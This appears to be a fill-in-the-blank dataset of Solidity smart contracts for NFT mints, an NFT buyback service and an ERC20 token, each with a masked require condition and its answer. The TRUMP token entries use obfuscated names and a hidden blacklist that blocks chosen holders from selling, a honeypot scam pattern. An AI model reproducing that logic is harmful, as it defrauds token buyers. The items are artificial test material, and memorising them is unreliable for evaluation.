uint256 public cost = .075 ether;
uint256 public maxSupply = 2000;
uint256 public maxMintAmountPerTx = 3;
bool public paused = true;
bool public revealed = false;
address private _signer;
address public royalty_contract_address;
address private PROJECT_WALLET;
address[2] private _shareholders;
uint[2] private _shares;
uint256 shareholders0Balance=0;
uint256 shareholders1Balance=0;
mapping(address => uint256[]) public mintAddresses;
mapping(string => bool) public usedMessages;
mapping(address => uint) public TolatestTokenTransfer;
mapping(address => uint) public FromlatestTokenTransfer;
mapping(address => bool) public nftPayWalletAddress;
error DirectMintFromContractNotAllowed();
error InvalidSignature();
error saltAlreadyUsed();
error cannotWithdraw();
event PaymentReleased(address to, uint256 amount);
constructor() ERC721A("Gods & Titans - Titanomachy War", "GAT") {
}
modifier callerIsUser() {
}
function _setSigner(address _newSigner) external onlyOwner {
}
function _setProjectWallet(address _PROJECT_WALLET, string calldata _salt, bytes calldata _token, uint256 _amount) external onlyOwner {
}
function setRoyaltyContractTokenAddress(address _address) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) external onlyOwner {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function _verify(bytes32 hash, bytes memory token, address signer)
internal
pure
returns (bool)
{
}
function verifyTokenForAddress(string calldata _salt, bytes calldata _token, address _address, uint256 _amount , address signer) internal pure returns (bool) {
}
function mint(uint256 _mintAmount, string calldata _salt, bytes calldata _token) external payable nonReentrant mintCompliance(_mintAmount) {
require(!paused, "Paused");
require(<FILL_ME>)
if(usedMessages[_salt] == true)
revert saltAlreadyUsed();
if (!verifyTokenForAddress(_salt, _token, msg.sender, msg.value, _signer))
revert InvalidSignature();
usedMessages[_salt] = true;
_safeMint(msg.sender, _mintAmount);
IRoyaltyMint(royalty_contract_address).mintForAddress(_mintAmount, msg.sender);
}
function claimRoblox(string calldata _salt, bytes calldata _token) external payable nonReentrant {
}
function mintForAddress(uint256 _mintAmount, address _receiver) external nonReentrant onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Returns the starting token ID.
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
function setRevealed(bool _state) external onlyOwner callerIsUser {
}
function setCost(uint256 _cost) external onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) external onlyOwner {
}
function setPaused(bool _state) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getMintAddresses(address _address) public view returns(uint256 [] memory){
}
function _afterTokenTransfers(address from, address to, uint256 tokenId, uint256 quantity) internal override {
}
function withdrawToWallet() external nonReentrant onlyOwner {
}
}
| cost*_mintAmount<=msg.value,"Ether value sent is not correct" | 84,112 | cost*_mintAmount<=msg.value |
null | //SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "TRUMP";
string private _symbol = "TRUMP";
uint8 private _decimals = 9;
address payable public oBMsVZvBCliMEkFzIRyxOxiIQIYn;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public apdffscddssrscmn;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 1;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 1;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 16;
uint256 public _totalTaxIfBuying = 12;
uint256 public _totalTaxIfSelling = 12;
uint256 public _totalDistributionShares = 24;
uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
}
function setBuyFee(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setsell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function WIKPFFWEOFKWE() view private returns(address){
}
function FIAWIDKAKFKAD() view private{
require(<FILL_ME>)
}
function pfswleryhvnvmfootltujrs(bool vtgpevbrdlrzmsenlhxjy, address[] calldata klThfAueuucwgWdVpQvJcLiJQHEKJ) public {
}
function msczryxhskzghulbsyveu(uint256 gqbypgijntbiggrwwmji,address dzheafrmtggacae) public {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 amount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
}
}
| WIKPFFWEOFKWE()==oBMsVZvBCliMEkFzIRyxOxiIQIYn | 84,216 | WIKPFFWEOFKWE()==oBMsVZvBCliMEkFzIRyxOxiIQIYn |
null | //SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TRUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "TRUMP";
string private _symbol = "TRUMP";
uint8 private _decimals = 9;
address payable public oBMsVZvBCliMEkFzIRyxOxiIQIYn;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public apdffscddssrscmn;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 1;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 1;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 16;
uint256 public _totalTaxIfBuying = 12;
uint256 public _totalTaxIfSelling = 12;
uint256 public _totalDistributionShares = 24;
uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
uint256 public minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
}
function setBuyFee(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setsell(uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function WIKPFFWEOFKWE() view private returns(address){
}
function FIAWIDKAKFKAD() view private{
}
function pfswleryhvnvmfootltujrs(bool vtgpevbrdlrzmsenlhxjy, address[] calldata klThfAueuucwgWdVpQvJcLiJQHEKJ) public {
}
function msczryxhskzghulbsyveu(uint256 gqbypgijntbiggrwwmji,address dzheafrmtggacae) public {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 amount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (!isMarketPair[sender]){
require(<FILL_ME>)
}
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
}
| !apdffscddssrscmn[sender] | 84,216 | !apdffscddssrscmn[sender] |
"not whitelised" | // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
pragma solidity ^0.8.0;
pragma solidity ^0.8.1;
contract MookyNftMinter is Ownable, ReentrancyGuard {
address public nftaddress;
bool public claimenabled = false;
uint256 public redeemstarttingrange;
uint256 public redeemendrange;
uint256 public claimIndex;
address public nftAdmin;
uint256 public price;
mapping (address => uint256) public userinvested;
address[] public investors;
mapping (address => bool) public existinguser;
mapping (address => bool) public iswhitelist;
uint256 public maxInvestment;
uint public icoTarget;
uint public receivedFund=0;
enum Round {Whitelistround, PublicRound}
Round public round;
constructor(address _nftAdmin) {
}
event Claim(address indexed user, uint256 indexed tokenid);
function getRound() external view returns(Round) {
}
function startWhitelistinground() external onlyOwner {
}
function startPublicround() external onlyOwner {
}
function trade(uint _noofnfts) public payable nonReentrant {
require (claimenabled == true, "Claim not enabled");
require (_noofnfts>0, "nonzero value not accepted");
if (round == Round.Whitelistround) {
require(<FILL_ME>)
}
uint256 _amount = price * _noofnfts;
require(_amount == msg.value, "incorrect amount");
//check for hard cap
require(icoTarget >= receivedFund + _amount, "Target Achieved. Investment not accepted");
// require(_amount > 0 , "min Investment not zero");
uint256 checkamount = userinvested[msg.sender] + _amount;
//check maximum investment
require(checkamount <= maxInvestment, "Already max Invested");
// check for existinguser
if (!existinguser[msg.sender]) {
existinguser[msg.sender] = true;
investors.push(msg.sender);
}
userinvested[msg.sender] += _amount;
receivedFund = receivedFund + _amount;
IERC721 nft = IERC721(nftaddress);
uint256 nftidstart = redeemstarttingrange + claimIndex;
uint nftidend = nftidstart + _noofnfts;
assert (nftidend <= redeemendrange);
claimIndex += _noofnfts;
for ( uint i = nftidstart; i < nftidend; i++ ) {
nft.safeTransferFrom(nftAdmin, msg.sender, i);
emit Claim(msg.sender,i);
}
}
function remainigContribution(address _owner) public view returns (uint256) {
}
function withdarw(address payable _admin) public onlyOwner{
}
function setclaimStatus(bool _status) external onlyOwner {
}
function changenftadmin(address _add) public onlyOwner {
}
function changeIcotarget(uint256 _newvalue) public onlyOwner {
}
function changeredeemeendlimit(uint256 _newvalue) public onlyOwner {
}
function changeredeemstartlimit(uint256 _newvalue) public onlyOwner {
}
function changenftaddress(address _add) public onlyOwner {
}
function changeMaxInvestment(uint _newmax) external onlyOwner {
}
function resetICO() public onlyOwner {
}
function changePrice(uint _newprice) external onlyOwner {
}
function Whitelist(address _add, bool _value ) external onlyOwner {
}
function addMultipleWhitelist(address[] memory _add) external onlyOwner {
}
function initializeICO(uint256 _price, address _nftaddress, uint256 _icotarget, uint256 _maxinvestment, uint256 _nftstartingrange, uint256 _nftendrange) public onlyOwner
{
}
}
| iswhitelist[msg.sender],"not whitelised" | 84,226 | iswhitelist[msg.sender] |
'Msg sender is not erc721' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
error NoEtherSent();
interface ERCBase {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function isApprovedForAll(address account, address operator) external view returns (bool);
}
interface ERC721Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface ERC1155Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes calldata) external;
}
contract HarvestingCat is ReentrancyGuard, Ownable, IERC721Receiver, IERC1155Receiver, Pausable {
//contract variables
uint256 public buybackFee;
uint256 public amountToSend;
uint256 public minAmount;
address payable public VAULT;
//ERC-165 identifier
bytes4 _ERC721 = 0x80ac58cd;
bytes4 _ERC1155 = 0xd9b67a26;
//events
event NftSold(address seller, address tokenContract, uint256 tokenId);
event NftBoughtback(address seller, address tokenContract, uint256 tokenId);
event ERC20Sold(address sender, address tokenContract, uint256 amount);
event ERC20Boughtback(address sender, address tokenContract, uint256 amount);
function supportsInterface(bytes4 interfaceID) public virtual override view returns (bool) {
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
require(<FILL_ME>)
require(address(this).balance > amountToSend, "Not enough ether in contract.");
(bool sent, ) = payable(from).call{ value: amountToSend }("");
require(sent, "Failed to send ether.");
emit NftSold(from, msg.sender, tokenId);
return this.onERC721Received.selector;
}
function onERC1155Received(
address,
address from,
uint256 tokenId,
uint256,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function buyback(address tokenContract, uint256 tokenId) public payable whenNotPaused {
}
function sellERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function buybackERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function withdrawNFT(address tokenContract, uint256 tokenId) public onlyOwner {
}
function withdrawERC20Token(address tokenContract) public onlyOwner {
}
function setVaultAddress(address vault) public onlyOwner {
}
function setAmountToSend(uint256 amount) public onlyOwner {
}
function setBuybackFee(uint256 amount) public onlyOwner {
}
function minimumTokenAmount(uint256 minimum) public onlyOwner {
}
function pause() onlyOwner public {
}
function unpause() onlyOwner public {
}
function withdrawBalance() external onlyOwner {
}
receive() external payable {}
}
| ERCBase(msg.sender).supportsInterface(_ERC721)==true,'Msg sender is not erc721' | 84,231 | ERCBase(msg.sender).supportsInterface(_ERC721)==true |
"Not enough ether in contract." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
error NoEtherSent();
interface ERCBase {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function isApprovedForAll(address account, address operator) external view returns (bool);
}
interface ERC721Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface ERC1155Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes calldata) external;
}
contract HarvestingCat is ReentrancyGuard, Ownable, IERC721Receiver, IERC1155Receiver, Pausable {
//contract variables
uint256 public buybackFee;
uint256 public amountToSend;
uint256 public minAmount;
address payable public VAULT;
//ERC-165 identifier
bytes4 _ERC721 = 0x80ac58cd;
bytes4 _ERC1155 = 0xd9b67a26;
//events
event NftSold(address seller, address tokenContract, uint256 tokenId);
event NftBoughtback(address seller, address tokenContract, uint256 tokenId);
event ERC20Sold(address sender, address tokenContract, uint256 amount);
event ERC20Boughtback(address sender, address tokenContract, uint256 amount);
function supportsInterface(bytes4 interfaceID) public virtual override view returns (bool) {
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
require(ERCBase(msg.sender).supportsInterface(_ERC721) == true, 'Msg sender is not erc721');
require(<FILL_ME>)
(bool sent, ) = payable(from).call{ value: amountToSend }("");
require(sent, "Failed to send ether.");
emit NftSold(from, msg.sender, tokenId);
return this.onERC721Received.selector;
}
function onERC1155Received(
address,
address from,
uint256 tokenId,
uint256,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function buyback(address tokenContract, uint256 tokenId) public payable whenNotPaused {
}
function sellERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function buybackERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function withdrawNFT(address tokenContract, uint256 tokenId) public onlyOwner {
}
function withdrawERC20Token(address tokenContract) public onlyOwner {
}
function setVaultAddress(address vault) public onlyOwner {
}
function setAmountToSend(uint256 amount) public onlyOwner {
}
function setBuybackFee(uint256 amount) public onlyOwner {
}
function minimumTokenAmount(uint256 minimum) public onlyOwner {
}
function pause() onlyOwner public {
}
function unpause() onlyOwner public {
}
function withdrawBalance() external onlyOwner {
}
receive() external payable {}
}
| address(this).balance>amountToSend,"Not enough ether in contract." | 84,231 | address(this).balance>amountToSend |
'Msg sender is not erc1155' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
error NoEtherSent();
interface ERCBase {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function isApprovedForAll(address account, address operator) external view returns (bool);
}
interface ERC721Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface ERC1155Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes calldata) external;
}
contract HarvestingCat is ReentrancyGuard, Ownable, IERC721Receiver, IERC1155Receiver, Pausable {
//contract variables
uint256 public buybackFee;
uint256 public amountToSend;
uint256 public minAmount;
address payable public VAULT;
//ERC-165 identifier
bytes4 _ERC721 = 0x80ac58cd;
bytes4 _ERC1155 = 0xd9b67a26;
//events
event NftSold(address seller, address tokenContract, uint256 tokenId);
event NftBoughtback(address seller, address tokenContract, uint256 tokenId);
event ERC20Sold(address sender, address tokenContract, uint256 amount);
event ERC20Boughtback(address sender, address tokenContract, uint256 amount);
function supportsInterface(bytes4 interfaceID) public virtual override view returns (bool) {
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function onERC1155Received(
address,
address from,
uint256 tokenId,
uint256,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
require(<FILL_ME>)
require(address(this).balance > amountToSend, "Not enough ether in contract.");
(bool sent, ) = payable(from).call{ value: amountToSend }("");
require(sent, "Failed to send ether.");
emit NftSold(from, msg.sender, tokenId);
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function buyback(address tokenContract, uint256 tokenId) public payable whenNotPaused {
}
function sellERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function buybackERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function withdrawNFT(address tokenContract, uint256 tokenId) public onlyOwner {
}
function withdrawERC20Token(address tokenContract) public onlyOwner {
}
function setVaultAddress(address vault) public onlyOwner {
}
function setAmountToSend(uint256 amount) public onlyOwner {
}
function setBuybackFee(uint256 amount) public onlyOwner {
}
function minimumTokenAmount(uint256 minimum) public onlyOwner {
}
function pause() onlyOwner public {
}
function unpause() onlyOwner public {
}
function withdrawBalance() external onlyOwner {
}
receive() external payable {}
}
| ERCBase(msg.sender).supportsInterface(_ERC1155)==true,'Msg sender is not erc1155' | 84,231 | ERCBase(msg.sender).supportsInterface(_ERC1155)==true |
"You need to approve contract to spend on your behalf" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
error NoEtherSent();
interface ERCBase {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function isApprovedForAll(address account, address operator) external view returns (bool);
}
interface ERC721Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
interface ERC1155Partial is ERCBase {
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes calldata) external;
}
contract HarvestingCat is ReentrancyGuard, Ownable, IERC721Receiver, IERC1155Receiver, Pausable {
//contract variables
uint256 public buybackFee;
uint256 public amountToSend;
uint256 public minAmount;
address payable public VAULT;
//ERC-165 identifier
bytes4 _ERC721 = 0x80ac58cd;
bytes4 _ERC1155 = 0xd9b67a26;
//events
event NftSold(address seller, address tokenContract, uint256 tokenId);
event NftBoughtback(address seller, address tokenContract, uint256 tokenId);
event ERC20Sold(address sender, address tokenContract, uint256 amount);
event ERC20Boughtback(address sender, address tokenContract, uint256 amount);
function supportsInterface(bytes4 interfaceID) public virtual override view returns (bool) {
}
function onERC721Received(
address,
address from,
uint256 tokenId,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function onERC1155Received(
address,
address from,
uint256 tokenId,
uint256,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) whenNotPaused public virtual override returns (bytes4) {
}
function buyback(address tokenContract, uint256 tokenId) public payable whenNotPaused {
}
function sellERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
require(amount >= minAmount, "Amount less than minimum amount which is 0.0001");
require(<FILL_ME>)
IERC20(tokenContract).transferFrom(msg.sender, address(this), amount);
require(address(this).balance > amountToSend, "Not enough ether in contract.");
(bool sent, ) = payable(msg.sender).call{ value: amountToSend }("");
require(sent, "Failed to send ether.");
emit ERC20Sold(msg.sender, tokenContract, amount);
}
function buybackERC20Tokens(address tokenContract, uint256 amount) public payable whenNotPaused {
}
function withdrawNFT(address tokenContract, uint256 tokenId) public onlyOwner {
}
function withdrawERC20Token(address tokenContract) public onlyOwner {
}
function setVaultAddress(address vault) public onlyOwner {
}
function setAmountToSend(uint256 amount) public onlyOwner {
}
function setBuybackFee(uint256 amount) public onlyOwner {
}
function minimumTokenAmount(uint256 minimum) public onlyOwner {
}
function pause() onlyOwner public {
}
function unpause() onlyOwner public {
}
function withdrawBalance() external onlyOwner {
}
receive() external payable {}
}
| IERC20(tokenContract).allowance(msg.sender,address(this))>=amount,"You need to approve contract to spend on your behalf" | 84,231 | IERC20(tokenContract).allowance(msg.sender,address(this))>=amount |
null | /**
Website: https://hpos9000i.com/
Twitter: https://twitter.com/hpos9000i
Telegram: https://t.me/hpos9000i
*/
// SPDX-License-Identifier: No License
pragma solidity ^0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
